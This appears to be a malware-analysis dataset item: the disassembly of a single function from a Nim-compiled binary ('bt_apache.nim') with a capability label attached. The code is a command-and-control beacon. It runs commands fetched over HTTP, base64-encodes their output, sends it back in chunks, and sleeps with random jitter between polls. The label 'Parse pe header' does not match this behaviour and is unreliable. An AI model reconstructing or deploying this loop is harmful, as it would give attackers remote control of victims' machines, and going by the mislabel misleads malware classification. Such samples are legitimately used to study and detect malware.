Function at 0x140050759
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x3d0
lea rax, str.mainModule
mov qword [rbp - 0x108], rax
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x100], 0
mov word [rbp - 0xf0], 0
lea rax, [rbp - 0x110]
mov rcx, rax
call sym.nimFrame_28
call sym.getFrame_3
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x100], 0x2f
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0xa0], 0
mov qword [rbp - 0x100], 0x30
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0xa8], 0
mov qword [rbp - 0x100], 0x31
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0xb0], 0
lea rax, [rbp - 0xd0]
mov edx, 0x20
mov rcx, rax
call sym.nimZeroMem_12
mov qword [rbp - 0x100], 0x32
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [rbp - 0xd0]
mov r8d, 0x20
lea rdx, [0x140061f20]
mov rcx, rax
call sym.nimCopyMem_13
mov qword [rbp - 0x100], 0x33
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [0x140061f40]
mov rcx, rax
call sym.copyString
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x100], 0x34
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [rbp - 0xd8]
mov edx, 8
mov rcx, rax
call sym.nimZeroMem_12
lea rdx, [rbp - 0xd8]
mov rax, qword [rbp - 0x28]
mov dword [rsp + 0x28], 0x4e
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.nospexecProcess
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x100], 0x35
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.bakery__bt95apache_48
mov qword [rbp - 8], rax
mov qword [rbp - 0x100], 0x36
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
jmp 0x140050935
nop
mov qword [rbp - 0x100], 0x37
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov edx, 0xea60
mov ecx, 0x9c40
call sym.dotdot___bt95apache_68
mov qword [rbp - 0x118], rax
mov rax, qword [rbp - 0x118]
mov rcx, rax
call sym.rand__bt95apache_91
mov dword [0x140087680], eax
mov qword [rbp - 0x100], 0x38
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0xd0]
mov edx, 4
mov rcx, rax
call sym.sample__bt95apache_114
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], 0
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
call sym.encode__pureZbase5452_42
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x40]
mov rax, qword [rax]
test rax, rax
je 0x1400509ef
mov rax, qword [rbp - 0x40]
mov rax, qword [rax]
mov rdx, qword [rax]
jmp 0x1400509f4
mov edx, 0
cmp qword [rbp - 0x48], 0
je 0x140050a04
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
jmp 0x140050a09
mov eax, 0
add rax, rdx
add rax, 4
mov rcx, rax
call sym.rawNewString
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.appendString_11
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x38]
lea rdx, [0x140062010]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x120], rax
mov qword [rbp - 0x100], 0x39
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x100], 0x239
lea rax, str.C:Program_Files_nimlibpurehttpclient.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x50], 0
call sym.getDefaultSSL__pureZhttpclient_244
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x100], 0x23a
lea rax, str.C:Program_Files_nimlibpurehttpclient.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x58], 0
mov ecx, 0
call sym.newHttpHeaders__pureZhttpcore_114
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x100], 0x39
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9d, 0
mov r8, rdx
mov edx, 5
lea rax, [0x140062040]
mov rcx, rax
call sym.newHttpClient__pureZhttpclient_752
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x100], 0x3a
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [rbp - 0x3a0]
mov rcx, rax
call sym.pushSafePoint_3
mov rax, rbp
mov rdx, rax
lea rax, [rbp - 0x3a0]
add rax, 0x10
mov rcx, rax
call sym._setjmp
cdqe
mov qword [rbp - 0x398], rax
mov rax, qword [rbp - 0x398]
test rax, rax
jne 0x140051489
mov qword [rbp - 0x100], 0x3b
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rdx, qword [rbp - 0x120]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.getContent__bt95apache_158
mov qword [rbp - 0x128], rax
mov qword [rbp - 0x100], 0x3c
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0x128]
mov rcx, rax
call sym.copyString
mov qword [rbp - 0xa0], rax
mov qword [rbp - 0x100], 0x3d
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0xa0]
test rax, rax
je 0x140050c0f
mov rax, qword [rbp - 0xa0]
mov rax, qword [rax]
test rax, rax
jne 0x140050c5c
mov qword [rbp - 0x100], 0x3e
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov eax, dword [0x140087680]
cdqe
mov rcx, rax
call sym.nossleep
call sym.popSafePoint_3
mov qword [rbp - 0x100], 0x3f
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
nop
jmp 0x140050934
nop
mov qword [rbp - 0x100], 0x40
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x100], 0x247
lea rax, str.C:Program_Files_nimlibpure_strformat.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x100], 0x40
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov ecx, 0x16
call sym.rawNewString
mov qword [rbp - 0x150], rax
mov rdx, qword [rbp - 0xa0]
lea rax, [rbp - 0x150]
mov r8d, 0
mov rcx, rax
call sym.formatValue__pureZstrformat_162
mov qword [rbp - 0x100], 0x247
lea rax, str.C:Program_Files_nimlibpure_strformat.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x100], 0x40
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov ecx, 0x15
call sym.rawNewString
mov qword [rbp - 0x158], rax
mov rdx, qword [rbp - 0xa8]
lea rax, [rbp - 0x158]
mov r8d, 0
mov rcx, rax
call sym.formatValue__pureZstrformat_162
mov rdx, qword [rbp - 0x158]
mov rax, qword [rbp - 0x150]
mov rcx, rax
call sym.eqStrings_2
xor eax, 1
test al, al
jne 0x140050d9d
mov qword [rbp - 0x100], 0x41
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov eax, dword [0x140087680]
cdqe
mov rcx, rax
call sym.nossleep
call sym.popSafePoint_3
mov qword [rbp - 0x100], 0x42
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
jmp 0x140050934
nop
mov qword [rbp - 0x100], 0x44
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
call sym.copyString
mov qword [rbp - 0xa8], rax
mov qword [rbp - 0x100], 0x45
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
call sym.confectionary__bt95apache_54
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x100], 0x46
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x68], 0
cmp qword [rbp - 0x60], 0
je 0x140050e2e
mov rax, qword [rbp - 0x60]
mov rax, qword [rax]
add rax, 7
jmp 0x140050e33
mov eax, 7
mov rcx, rax
call sym.rawNewString
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
lea rdx, [0x1400620f0]
mov rcx, rax
call sym.appendString_11
mov rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x68]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x100], 0x47
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [rbp - 0x160]
mov edx, 8
mov rcx, rax
call sym.nimZeroMem_12
lea rdx, [rbp - 0x160]
mov rax, qword [rbp - 0x70]
mov dword [rsp + 0x28], 0x4e
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.nospexecProcess
mov qword [rbp - 0xb0], rax
mov qword [rbp - 0x100], 0x48
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0xb0]
test rax, rax
je 0x140050f04
mov rax, qword [rbp - 0xb0]
mov rax, qword [rax]
test rax, rax
jne 0x140050f35
mov qword [rbp - 0x100], 0x49
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [0x140062120]
mov rcx, rax
call sym.copyString
mov qword [rbp - 0xb0], rax
jmp 0x140050f36
nop
mov qword [rbp - 0x100], 0x4a
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0xb0]
mov rcx, rax
call sym.bakery__bt95apache_48
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x100], 0x4b
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x130], 0
mov qword [rbp - 0x138], 0
mov qword [rbp - 0x140], 0
mov qword [rbp - 0x100], 0x4c
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x148], 0
mov qword [rbp - 0x100], 0x4d
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
jmp 0x140050fdc
nop
cmp qword [rbp - 0x20], 0
je 0x140050fec
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
jmp 0x140050ff1
mov eax, 0
mov rdx, qword [rbp - 0x130]
cmp rax, rdx
jle 0x140051481
mov qword [rbp - 0x100], 0x4e
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0x130]
mov edx, 0
add rax, 0x64
jno 0x140051031
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x168]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x14005104d
call sym.raiseOverflow
mov rax, qword [rbp - 0x168]
mov qword [rbp - 0x140], rax
mov qword [rbp - 0x100], 0x4f
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
cmp qword [rbp - 0x20], 0
je 0x140051084
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
jmp 0x140051089
mov eax, 0
mov rdx, qword [rbp - 0x140]
cmp rax, rdx
jge 0x1400510cc
mov qword [rbp - 0x100], 0x50
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
cmp qword [rbp - 0x20], 0
je 0x1400510be
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
jmp 0x1400510c3
mov eax, 0
mov qword [rbp - 0x140], rax
jmp 0x1400510cd
nop
mov qword [rbp - 0x100], 0x51
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rcx, qword [rbp - 0x140]
mov rdx, qword [rbp - 0x130]
mov rax, qword [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call sym.substr__system_8773
mov qword [rbp - 0x148], rax
mov qword [rbp - 0x100], 0x52
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0x130]
mov edx, 0
add rax, 0x65
jno 0x14005113a
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x170]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x140051156
call sym.raiseOverflow
mov rax, qword [rbp - 0x170]
mov qword [rbp - 0x130], rax
mov qword [rbp - 0x100], 0x53
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x80], 0
lea rax, [rbp - 0xd0]
mov edx, 4
mov rcx, rax
call sym.sample__bt95apache_114
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x88], 0
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
call sym.encode__pureZbase5452_42
mov qword [rbp - 0x88], rax
mov qword [rbp - 0x90], 0
mov rax, qword [rbp - 0x138]
mov edx, 1
mov rcx, rax
call sym.nsuIntToStr
mov qword [rbp - 0x90], rax
mov qword [rbp - 0x98], 0
mov rax, qword [rbp - 0x148]
mov edx, 0
mov rcx, rax
call sym.encode__pureZbase5452_42
mov qword [rbp - 0x98], rax
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
test rax, rax
je 0x14005122c
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov rdx, qword [rax]
jmp 0x140051231
mov edx, 0
cmp qword [rbp - 0x88], 0
je 0x140051247
mov rax, qword [rbp - 0x88]
mov rax, qword [rax]
jmp 0x14005124c
mov eax, 0
add rdx, rax
cmp qword [rbp - 0x90], 0
je 0x140051265
mov rax, qword [rbp - 0x90]
mov rax, qword [rax]
jmp 0x14005126a
mov eax, 0
add rdx, rax
cmp qword [rbp - 0x98], 0
je 0x140051283
mov rax, qword [rbp - 0x98]
mov rax, qword [rax]
jmp 0x140051288
mov eax, 0
add rax, rdx
add rax, 0x20
mov rcx, rax
call sym.rawNewString
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x80]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x78]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x78]
lea rdx, [0x140062160]
mov rcx, rax
call sym.appendString_11
mov rdx, qword [rbp - 0x88]
mov rax, qword [rbp - 0x78]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x78]
lea rdx, [0x140062180]
mov rcx, rax
call sym.appendString_11
mov rdx, qword [rbp - 0x90]
mov rax, qword [rbp - 0x78]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x78]
lea rdx, [0x1400621a0]
mov rcx, rax
call sym.appendString_11
mov rdx, qword [rbp - 0x98]
mov rax, qword [rbp - 0x78]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x78]
lea rdx, [0x1400621c0]
mov rcx, rax
call sym.appendString_11
mov rax, qword [rbp - 0x78]
mov qword [rbp - 0x120], rax
mov qword [rbp - 0x100], 0x54
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rax, qword [rbp - 0x138]
mov edx, 0
add rax, 1
jno 0x14005136e
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x178]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x14005138a
call sym.raiseOverflow
mov rax, qword [rbp - 0x178]
mov qword [rbp - 0x138], rax
mov qword [rbp - 0x100], 0x55
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
lea rax, [rbp - 0x290]
mov rcx, rax
call sym.pushSafePoint_3
mov rax, rbp
mov rdx, rax
lea rax, [rbp - 0x290]
add rax, 0x10
mov rcx, rax
call sym._setjmp
cdqe
mov qword [rbp - 0x288], rax
mov rax, qword [rbp - 0x288]
test rax, rax
jne 0x140051438
mov qword [rbp - 0x100], 0x56
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov rdx, qword [rbp - 0x120]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.getContent__bt95apache_158
mov qword [rbp - 0x128], rax
call sym.popSafePoint_3
mov rax, qword [rbp - 0x288]
test rax, rax
je 0x140050fdb
jmp 0x140051477
call sym.popSafePoint_3
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.setFrame_3
mov qword [rbp - 0x288], 0
call sym.popCurrentException_1
mov qword [rbp - 0x100], 0x58
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
jmp 0x140050fdb
call sym.reraiseException
jmp 0x140050fdb
nop
call sym.popSafePoint_3
jmp 0x1400514d3
call sym.popSafePoint_3
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.setFrame_3
mov qword [rbp - 0x398], 0
mov qword [rbp - 0x100], 0x5a
lea rax, str.E:StoreMACROBT_bt_apache.nim
mov qword [rbp - 0xf8], rax
mov eax, dword [0x140087680]
cdqe
mov rcx, rax
call sym.nossleep
call sym.popCurrentException_1
mov rax, qword [rbp - 0x398]
test rax, rax
je 0x140050934
call sym.reraiseException
jmp 0x140050934